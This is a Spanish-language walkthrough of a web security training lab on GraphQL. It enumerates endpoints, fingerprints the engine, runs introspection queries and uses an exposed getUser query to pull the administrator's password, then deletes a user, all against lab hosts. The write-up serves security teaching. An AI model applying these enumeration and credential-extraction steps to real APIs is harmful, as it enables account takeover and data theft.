GraphQL API Vulnerabilities Lab 2
Skills
- Accidental exposure of private GraphQL fields
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Este laboratorio
utiliza un endpoint GraphQL
para gestionar las funciones
de administración
de usuarios
. El laboratorio
contiene una vulnerabilidad
de control
de acceso
que nos permite inducir a la API
a revelar los campos
de credenciales
de usuario
. Para resolver
el laboratorio
, debemos iniciar sesión
como administrador
y eliminar
al usuario
carlos
. Podemos loguearnos
usando las credenciales wiener:peter
Resolución
Al acceder
a la web
vemos esto
Los servicios GraphQL
suelen utilizar endpoints
similares a estos. En Hacktricks
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/graphql.html#graphql se nos explica paso por paso la forma en la que debemos enumerar
este servicio
1
2
3
4
5
/graphql
/api
/apigraphql
/graphqlapi
/graphqlgraphql
Si los endpoints
anteriores no devuelven respuesta
podemos añadirles /v1
1
2
3
4
5
/graphql/v1
/api/v1
/apigraphql/v1
/graphqlapi/v1
/graphqlgraphql/v1
Si hacemos una petición
a un endpoint inexistente
obtenemos esta respuesta
1
2
# curl https://0af40067035241d4829e65a9002f00a0.web-security-academy.net/test
"Not Found"
Sin embargo, si hacemos una consulta
a un endpoint
que si que exista
recibiremos un mensaje como "query not present"
o similar
1
2
# curl -X POST https://0af40067035241d4829e65a9002f00a0.web-security-academy.net/graphql/v1 -H "Content-Type: application/json" -d "{}"
"Query not present"
Para comprobar que se trata de GraphQL
podemos usar universal queries
, si el content-type
es x-www-form-urlencoded
podemos usar este payload query{__typename}
y si el content-type
es application/json
, debemos adaptar
el payload
a este otro {"query":"{__typename}"}
. Cuando enviemos
estos payloads
se nos devolverá {"data": {"__typename": "query"}}
en alguna parte de la respuesta
. La consulta funciona porque cada endpoint
de GraphQL
tiene un campo reservado
llamado __typename
que devuelve
el tipo
del objeto consultado
como una cadena
1
2
3
4
5
6
# curl -X POST https://0af40067035241d4829e65a9002f00a0.web-security-academy.net/graphql/v1 -H "Content-Type: application/json" -d '{"query":"{__typename}"}'
{
"data": {
"__typename": "query"
}
}
En la mayoría de casos los endpoints
en GraphQL
solo aceptan peticiones POST
con content-type
de application/json
porque esto ayuda a proteger
contra vulnerabilidades
de CSRF
. Sin embargo, hay ocasiones en las que también acepta otros métodos, para comprobar esto deberíamos bruteforcear
los endpoints
para obtener
que métodos
son válidos
. Puede darse el caso en el que acepte un content-type
de x-www-form-urlencoded
. La forma más sencilla de encontrar endpoints
es observar
las peticiones
. Si recargamos
la página
y capturamos
la petición
vemos que se está empleando GraphQL
Una vez tenemos la ruta principal /graphql/v1
podemos usar la herramienta graphw00f
https://github.com/dolevf/graphw00f.git para enumerar
el servidor
o motor
que gestiona
y procesa
las consultas
de GraphQL
. Con esta herramienta también podemos hacer fuerza bruta
para identificar
la ruta principal
de GraphQL
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# python main.py -f -t https://0aa100db0496187480233a6c0081005d.web-security-academy.net/graphql/v1
+-------------------+
| graphw00f |
+-------------------+
*** ***
** **
** **
+--------------+ +--------------+
| Node X | | Node Y |
+--------------+ +--------------+
*** ***
** **
** **
+------------+
| Node Z |
+------------+
graphw00f - v1.1.19
The fingerprinting tool for GraphQL
Dolev Farhi <dolev@lethalbit.com>
[*] Checking if GraphQL is available at https://0aa100db0496187480233a6c0081005d.web-security-academy.net/graphql/v1...
[*] Attempting to fingerprint...
[*] Discovered GraphQL Engine: (AWS AppSync)
[!] Attack Surface Matrix: https://github.com/nicholasaleks/graphql-threat-matrix/blob/master/implementations/appsync.md
[!] Technologies:
[!] Homepage: https://aws.amazon.com/appsync
[*] Completed.
Para enumerar información
acerca del esquema
vamos a usar la introspección
. La introspección
es una función integrada
de GraphQL
que permite consultar
un servidor
para obtener información
sobre su esquema
. La introspección
nos ayuda a comprender cómo podemos interactuar
con una API GraphQL
. También puede revelar datos potencialmente confidenciales
, como campos
de descripción
. Para saber si la introspección
está habilitada
podemos usamos esta query
1
2
3
4
5
6
7
8
9
10
# curl -s -X POST https://0aec00ce043258518801ff08004300de.web-security-academy.net/graphql/v1 -H "Content-Type: application/json" -d '{"query":"{__schema{queryType{name}}}"}' | jq
{
"data": {
"__schema": {
"queryType": {
"name": "query"
}
}
}
}
Mediante esta query
podemos extraer
todos los tipos
, sus campos
, sus argumentos
y el tipo
de los argumentos
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
# curl -s -X POST https://0aa100db0496187480233a6c0081005d.web-security-academy.net/graphql/v1 -H "Content-Type: application/json" -d '{"query":"{__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name,kind}}}}}}}"}' | jq
{
"data": {
"__schema": {
"types": [
{
"name": "BlogPost",
"fields": [
{
"name": "id",
"args": []
},
{
"name": "image",
"args": []
},
{
"name": "title",
"args": []
},
{
"name": "author",
"args": []
},
{
"name": "date",
"args": []
},
{
"name": "summary",
"args": []
},
{
"name": "paragraphs",
"args": []
}
]
},
{
"name": "Boolean",
"fields": null
},
{
"name": "ChangeEmailInput",
"fields": null
},
{
"name": "ChangeEmailResponse",
"fields": [
{
"name": "email",
"args": []
}
]
},
{
"name": "Int",
"fields": null
},
{
"name": "LoginInput",
"fields": null
},
{
"name": "LoginResponse",
"fields": [
{
"name": "token",
"args": []
},
{
"name": "success",
"args": []
}
]
},
{
"name": "String",
"fields": null
},
{
"name": "Timestamp",
"fields": null
},
{
"name": "User",
"fields": [
{
"name": "id",
"args": []
},
{
"name": "username",
"args": []
},
{
"name": "password",
"args": []
}
]
},
{
"name": "__Directive",
"fields": [
{
"name": "name",
"args": []
},
{
"name": "description",
"args": []
},
{
"name": "isRepeatable",
"args": []
},
{
"name": "locations",
"args": []
},
{
"name": "args",
"args": [
{
"name": "includeDeprecated",
"description": null,
"type": {
"name": "Boolean",
"kind": "SCALAR",
"ofType": null
}
}
]
}
]
},
{
"name": "__DirectiveLocation",
"fields": null
},
{
"name": "__EnumValue",
"fields": [
{
"name": "name",
"args": []
},
{
"name": "description",
"args": []
},
{
"name": "isDeprecated",
"args": []
},
{
"name": "deprecationReason",
"args": []
}
]
},
{
"name": "__Field",
"fields": [
{
"name": "name",
"args": []
},
{
"name": "description",
"args": []
},
{
"name": "args",
"args": [
{
"name": "includeDeprecated",
"description": null,
"type": {
"name": "Boolean",
"kind": "SCALAR",
"ofType": null
}
}
]
},
{
"name": "type",
"args": []
},
{
"name": "isDeprecated",
"args": []
},
{
"name": "deprecationReason",
"args": []
}
]
},
{
"name": "__InputValue",
"fields": [
{
"name": "name",
"args": []
},
{
"name": "description",
"args": []
},
{
"name": "type",
"args": []
},
{
"name": "defaultValue",
"args": []
},
{
"name": "isDeprecated",
"args": []
},
{
"name": "deprecationReason",
"args": []
}
]
},
{
"name": "__Schema",
"fields": [
{
"name": "description",
"args": []
},
{
"name": "types",
"args": []
},
{
"name": "queryType",
"args": []
},
{
"name": "mutationType",
"args": []
},
{
"name": "directives",
"args": []
},
{
"name": "subscriptionType",
"args": []
}
]
},
{
"name": "__Type",
"fields": [
{
"name": "kind",
"args": []
},
{
"name": "name",
"args": []
},
{
"name": "description",
"args": []
},
{
"name": "fields",
"args": [
{
"name": "includeDeprecated",
"description": null,
"type": {
"name": "Boolean",
"kind": "SCALAR",
"ofType": null
}
}
]
},
{
"name": "interfaces",
"args": []
},
{
"name": "possibleTypes",
"args": []
},
{
"name": "enumValues",
"args": [
{
"name": "includeDeprecated",
"description": null,
"type": {
"name": "Boolean",
"kind": "SCALAR",
"ofType": null
}
}
]
},
{
"name": "inputFields",
"args": [
{
"name": "includeDeprecated",
"description": null,
"type": {
"name": "Boolean",
"kind": "SCALAR",
"ofType": null
}
}
]
},
{
"name": "ofType",
"args": []
},
{
"name": "specifiedByURL",
"args": []
}
]
},
{
"name": "__TypeKind",
"fields": null
},
{
"name": "mutation",
"fields": [
{
"name": "login",
"args": [
{
"name": "input",
"description": null,
"type": {
"name": "LoginInput",
"kind": "INPUT_OBJECT",
"ofType": null
}
}
]
},
{
"name": "changeEmail",
"args": [
{
"name": "input",
"description": null,
"type": {
"name": "ChangeEmailInput",
"kind": "INPUT_OBJECT",
"ofType": null
}
}
]
}
]
},
{
"name": "query",
"fields": [
{
"name": "getBlogPost",
"args": [
{
"name": "id",
"description": null,
"type": {
"name": null,
"kind": "NON_NULL",
"ofType": {
"name": "Int",
"kind": "SCALAR"
}
}
}
]
},
{
"name": "getAllBlogPosts",
"args": []
},
{
"name": "getUser",
"args": [
{
"name": "id",
"description": null,
"type": {
"name": null,
"kind": "NON_NULL",
"ofType": {
"name": "Int",
"kind": "SCALAR"
}
}
}
]
}
]
}
]
}
}
}
Es interesante saber si se van a mostrar errores
, ya que aportan información útil
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# curl -s -X POST https://0aee00a2035e51b583d7482b001d00d2.web-security-academy.net/graphql/v1 -H "Content-Type: application/json" -d '{"query":"{__schema}"}' | jq
{
"errors": [
{
"extensions": {},
"locations": [
{
"line": 1,
"column": 2
}
],
"message": "Validation error (SubselectionRequired@[__schema]) : Subselection required for type '__Schema!' of field '__schema'"
}
]
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# curl -s -X POST https://0aee00a2035e51b583d7482b001d00d2.web-security-academy.net/graphql/v1 -H "Content-Type: application/json" -d '{"query":"{}"}' | jq
{
"errors": [
{
"locations": [
{
"line": 1,
"column": 2
}
],
"message": "Invalid syntax with offending token '}' at line 1 column 2"
}
]
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# curl -s -X POST https://0aee00a2035e51b583d7482b001d00d2.web-security-academy.net/graphql/v1 -H "Content-Type: application/json" -d '{"query":"{thisdefinitelydoesnotexist}"}' | jq
{
"errors": [
{
"extensions": {},
"locations": [
{
"line": 1,
"column": 2
}
],
"message": "Validation error (FieldUndefined@[thisdefinitelydoesnotexist]) : Field 'thisdefinitelydoesnotexist' in type 'query' is undefined"
}
]
}
Podemos obtener aún más información
realizando una consulta
de introspección completa
sobre el endpoint
, esto se hace para poder obtener
la mayor cantidad
de información posible
del esquema
. Este consulta devuelve detalles completos sobre todas las consultas, mutaciones, suscripciones, tipos y fragmentos
. Si la introspección
está habilitada
pero la consulta no se ejecuta
, debemos eliminar
las directivas onOperation
, onFragment
y onField
de la estructura
de la consulta
, esto se debe a que muchos endpoints no aceptan estas directivas como parte de una consulta de introspección
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#Full introspection query
query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation #Often needs to be deleted to run query
onFragment #Often needs to be deleted to run query
onField #Often needs to be deleted to run query
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
Para realizar
la query anterior
debemos refrescar
la página
, capturar
la petición
con Burpsuite
, borrar
estas tres líneas
porque provocan
un error
, pinchar
sobre la pestaña GraphQL
y pegar
ahí el código
1
2
3
onOperation #Often needs to be deleted to run query
onFragment #Often needs to be deleted to run query
onField #Often needs to be deleted to run query
Podemos copiar
las respuestas
de las queries
en graphql-visualizer
http://nathanrandal.com/graphql-visualizer/ o en graphql-voyager
https://graphql-kit.com/graphql-voyager/ para ver
los resultados obtenidos
de forma gráfica
. En el caso de graphql-voyager
debemos usar el payload
que hay en la web
. Los campos username
y password
son interesantes
También podemos llevar a cabo todo este proceso de forma automatizada
con la extensión
de Burpsuite InQL
El primer paso es capturar
una petición
, pulsar click derecho
y Generate queries with InQL Scanner
Esto nos enviará
a esta otra pestaña
donde debemos pulsar Analyze
Una vez hecho esto obtendremos
el esquema
en JSON
y las queries
. Podemos copiar
el contenido
del JSON
en https://graphql-kit.com/graphql-voyager/ para poder visualizar
mejor los datos
o podemos directamente hacer las queries
nosotros mismos. Desde consola
podemos usar InQL
https://blog.doyensec.com/2020/03/26/graphql-scanner.html o GQLSpection
https://github.com/doyensec/GQLSpection.git, la herramienta GQLSpection
es la sucesora
de InQL
Pulsamos
sobre getUser.graphql
Nos copiamos
la query
, la pegamos
, enviamos
la petición
y obtenemos
las credenciales
del usuario administrador
. Debemos sustituir Int! por un número
porque la query espera un input
Nos logueamos
con las credenciales administrator:1csojfpwui4meu5r95yc
Hacemos click en Admin panel
y eliminamos
al usuario carlos
Otra forma alternativa
sería usando el escáner
de Burpsuite
. En el schema
hemos visto una función llamada getUser
que es interesante, sin embargo, hemos probado todas las funciones que nos ofrece la web
y al checkear
las funciones empleadas mirando las peticiones
desde el logger
de Burpsuite
no hemos encontrado ninguna llamada getUser
. En este caso, podemos usar el escáner
de Burpsuite, en mi caso uso Deep Scan
. Para ello debemos acceder a Target > Site map > click derecho sobre la url > Open scan launcher > Deep
Gracias al escaneo, obtenemos
la query
que emplea getUser
Enviamos
esta petición
al Repeater
, sustituimos
el valor
de la variable
por 1
y obtenemos
la contraseña
del usuario administrador